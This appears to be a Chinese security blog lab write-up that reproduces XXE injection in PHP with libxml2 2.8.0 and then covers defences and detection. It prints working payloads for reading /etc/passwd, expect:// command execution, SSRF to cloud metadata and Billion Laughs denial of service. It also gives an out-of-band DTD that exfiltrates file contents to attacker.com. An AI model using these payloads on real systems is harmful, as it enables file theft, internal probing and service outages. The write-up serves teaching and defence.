AI摘要

XXE漏洞源于libxml2 < 2.9.0时默认开启外部实体解析。攻击者可利用恶意XML读取文件、发起SSRF或执行命令。本文在PHP环境下复现了该漏洞,并介绍了盲XXE、DoS攻击及防御方案。

漏洞概述

XXE 简介

XXE(XML External Entity Injection,XML 外部实体注入)是一种针对解析 XML 输入的应用程序的攻击方式。当 XML 解析器开启了外部实体解析功能,并且攻击者能够控制 XML 输入时,即可通过构造恶意的外部实体声明来读取本地文件、发起 SSRF 请求、执行拒绝服务攻击,甚至在特定条件下实现远程命令执行。

原文标题中的"PHP 外部实体注入"在技术社区中常被用作 XXE 的代称,但严格来说 XXE 是 XML 层面的漏洞,PHP 只是作为受影响的解析环境之一。

漏洞信息

项目内容
漏洞类型XML 外部实体注入 (XXE)
根因libxml2 默认开启外部实体解析
影响范围libxml2 < 2.9.0 的 PHP 环境(以及所有使用受影响 libxml2 的应用)
修复版本libxml2 >= 2.9.0(默认禁用外部实体)
验证环境PHP 7.0.30 + libxml 2.8.0
利用条件应用使用 XML 解析器且未显式禁用外部实体、攻击者能控制 XML 输入

漏洞原理

XML 实体机制

XML 允许在 DTD(Document Type Definition,文档类型定义)中声明实体(Entity)。实体类似于编程中的"宏替换"——XML 解析器在解析时会将实体引用展开为预定义的内容:

<!-- 内部实体:引用时替换为固定文本 -->
<!DOCTYPE foo [
  <!ENTITY myvar "Hello World">
]>
<root>&myvar;</root>
<!-- 解析后:<root>Hello World</root> -->
<!-- 外部实体:引用时替换为外部资源的内容 -->
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
<!-- 解析后:<root>root:x:0:0:root:/root:/bin/bash...</root> -->

libxml2 版本分水岭

libxml2 版本外部实体解析说明
< 2.9.0默认开启无需任何特殊配置即可触发 XXE,攻击门槛极低
>= 2.9.0默认关闭除非显式传入LIBXML_NOENT 标志,否则不解析外部实体
攻击者控制 XML 输入
        │
        ▼
┌──────────────────────────────────┐
│  POST /simplexml_load_string.php │
│  Content: XXE Payload            │
└──────────────┬───────────────────┘
               │
               ▼
┌──────────────────────────────────┐
│  PHP XML 解析器                  │
│  (libxml2 < 2.9.0)               │
│  默认开启 LIBXML_NOENT          │
└──────────────┬───────────────────┘
               │
               ▼
    ┌─────────┴─────────┐
    │                   │
    ▼                   ▼
┌───────────┐    ┌─────────────┐
│ 读取文件   │    │  发起 SSRF  │
│ file://   │    │  http://    │
└───────────┘    └─────────────┘
    │                   │
    ▼                   ▼
 信息泄露           内网探测

PHP 中易受 XXE 影响的函数

任何使用 libxml2 作为后端并解析用户输入 XML 的 PHP 函数都有可能受 XXE 影响:

函数 / 类说明
simplexml_load_string()SimpleXML 扩展,将 XML 字符串解析为对象
simplexml_load_file()与上相同,但从文件加载
new SimpleXMLElement()SimpleXMLElement 构造函数
DOMDocument::loadXML()DOM 扩展,从字符串加载 XML
DOMDocument::load()与上相同,但从文件加载
xml_parse()libxml 底层 SAX 解析器

环境介绍

组件版本备注
PHP7.0.30
libxml22.8.0关键:低于 2.9.0,外部实体默认开启
靶机http://192.168.50.134:8080/
libxml 2.8.0 是此环境能够成功复现 XXE 的根本原因。在 libxml 2.9.0+ 环境中,默认不再解析外部实体,此类基础 payload 会直接失效。

PHP 环境信息


漏洞复现

Step 1: 定位 XML 解析入口

靶机 WWW 目录下存在 4 个文件,其中 3 个为 XXE 可利用的 XML 解析端点:

WWW 目录文件列表

文件函数XXE 可利用
dom.phpDOMDocument::loadXML()
SimpleXMLElement.phpnew SimpleXMLElement()
simplexml_load_string.phpsimplexml_load_string()

SimpleXMLElement.php 为例,典型的有漏洞 PHP 代码:

<?php
$data = file_get_contents('php://input');   // 接收用户 POST 的 XML
$xml = new SimpleXMLElement($data);         // 直接解析,libxml 2.8.0 默认解析外部实体
echo $xml->name;                            // 回显解析结果
?>

SimpleXMLElement.php 源码

Step 2: 发送 XXE Payload

simplexml_load_string.php 发送 POST 请求:

POST /simplexml_load_string.php HTTP/1.1
Host: 192.168.50.134:8080
Content-Type: application/xml

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
  <!ELEMENT name ANY>
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
  <name>&xxe;</name>
</root>

Payload 结构解析:

XML 结构说明
<?xml version="1.0"?>XML 声明
<!DOCTYPE xxe [...]>DTD 声明,定义外部实体
<!ELEMENT name ANY>声明name 元素可包含任意内容
<!ENTITY xxe SYSTEM "file:///etc/passwd">核心:声明外部实体 xxe,内容来自本地文件
&xxe;引用外部实体,触发文件读取

Step 3: 读取结果

服务器返回解析后的 XML,其中 &xxe; 被替换为 /etc/passwd 的实际内容:

XXE 成功读取 /etc/passwd


XXE 攻击面扩展

不同协议的攻击利用

SYSTEM 关键字支持多种协议,每种协议可实现不同的攻击效果:

<!-- 1. 读取本地文件 -->
<!ENTITY xxe SYSTEM "file:///etc/passwd">

<!-- 2. SSRF 内网探测 / 端口扫描 -->
<!ENTITY xxe SYSTEM "http://192.168.1.1:8080/">

<!-- 3. 利用 PHP expect 协议执行命令(需要 expect 扩展) -->
<!ENTITY xxe SYSTEM "expect://id">

<!-- 4. 使用 PHP 包装器读取源码(base64 编码) -->
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/config.php">

<!-- 5. OOB (Out-of-Band) 外带数据 — 适用于无回显场景 -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;

有回显 vs 盲 XXE

类型特征payload 复杂度常见场景
In-band XXE服务器直接将文件内容嵌入响应中PHPecho 回显、SOAP 响应、XML API
Error-based XXE文件内容出现在错误消息中解析错误路径暴露、日志回显
Blind (OOB) XXE通过网络外带数据(DNS/HTTP)无响应回显、仅能触发 HTTP 请求

OOB (Out-of-Band) 盲 XXE Payload

当目标没有直接将数据返回到 HTTP 响应时,可以通过外部 DTD 将文件内容外带至攻击者服务器:

恶意 DTD(attacker.com/evil.dtd):

<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?data=%file;'>">
%all;

发送至目标的 Payload:

<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
  %dtd;
  %send;
]>

攻击链路:

  1. 目标解析外部 DTD evil.dtd
  2. DTD 中定义 %all 实体,内部引用了 %file(即文件内容)
  3. %all 展开后生成 send 实体,指向 http://attacker.com/?data=<文件正文>
  4. 目标发起 HTTP GET 请求 → 攻击者日志中看到完整文件内容

PHP 特有利用技巧

<!-- 读取 PHP 源码(不经过解释器) -->
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">

<!-- SSRF 到内网 HTTP 服务 -->
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">

<!-- 敏感文件探测 -->
<!ENTITY xxe SYSTEM "file:///proc/self/environ">

<!-- dos 拒绝服务(Billion Laughs 攻击) -->
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
  ...
]>
<root>&lol9;</root>  <!-- 指数级展开 → 内存耗尽 -->

延伸阅读

XXE 相关 CVE 纵览

CVE产品类型年份
CVE-2013-1643PHPSOAPClientXXE → 文件读取2013
CVE-2014-3668PHPDOMDocument::$recoverXXE 拒绝服务2014
CVE-2017-9805Apache Struts2 REST PluginXXE → RCE2017
CVE-2018-1259Spring Data CommonsXXE2018
CVE-2020-29436SonarQubeXXE 信息泄露2020
CVE-2021-29447WordPress < 5.7.1XXE (Media Library)2021
CVE-2022-24801Twisted WebXXE2022
XXE 虽然因 libxml2 2.9.0 的默认配置变更而大幅减少,但在 Java (.NET, SAML) 和遗留 PHP 系统中仍然高发。OWASP Top 10 2017 中 XXE 位列 A4

PHP 中防御 XXE 的完整方案

1. 禁用外部实体加载

// 推荐方式:全局禁用实体加载
libxml_disable_entity_loader(true);

$xml = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xml);

// ⚠️ 关键:不要传入 LIBXML_NOENT,该标志会强制启用外部实体!
// $dom->loadXML($xml, LIBXML_NOENT);  ← 错误!

2. 白名单过滤外部协议

// 过滤危险协议关键字的 XML 输入
$dangerous = ['file://', 'php://', 'expect://', 'gopher://', 'dict://'];
$xml = str_ireplace($dangerous, '', $xml);

3. 升级 libxml2

确保 PHP 使用的 libxml2 版本 ≥ 2.9.0:

# 查看当前 libxml2 版本
php -i | grep "libxml"

# 输出示例:libxml2 Version => 2.9.14

4. PHP 配置加固

; php.ini
allow_url_fopen = Off
allow_url_include = Off
disable_functions = expect_popen,expect_pclose

5. 安全编码原则

  • 避免直接将用户输入传递给 XML 解析器
  • 如需解析用户 XML,使用 JSON 等替代格式
  • 若必须使用 XML,使用安全的解析器配置:
// PHP 8.0+ 推荐的安全 XML 解析方式
$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NONET | LIBXML_NOERROR | LIBXML_NOWARNING);
// LIBXML_NONET:禁止网络访问,阻止 SSRF 和 OOB 攻击

6. XXE 检测工具

# 使用 Nuclei 扫描 XXE 漏洞
nuclei -u http://192.168.50.134:8080 \
  -t ~/nuclei-templates/http/vulnerabilities/generic/xxe-*

# 使用 Burp Suite 的 Collaborator 检测 Blind XXE
# 在 payload 中嵌入 collaborator 域名,观察 DNS/HTTP 回调

参考文献

  1. OWASP - XML External Entity (XXE) Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html
  2. PHP Manual - libxml_disable_entity_loader: https://www.php.net/manual/en/function.libxml-disable-entity-loader.php
  3. libxml2 2.9.0 Release Notes: https://gitlab.gnome.org/GNOME/libxml2/-/blob/master/NEWS
  4. PHP Manual - SimpleXML: https://www.php.net/manual/en/book.simplexml.php
  5. OWASP Top 10 2017 - A4 XML External Entities (XXE): https://owasp.org/www-project-top-ten/2017/A4_2017-XML_External_Entities_(XXE))
投币支持一下吧
END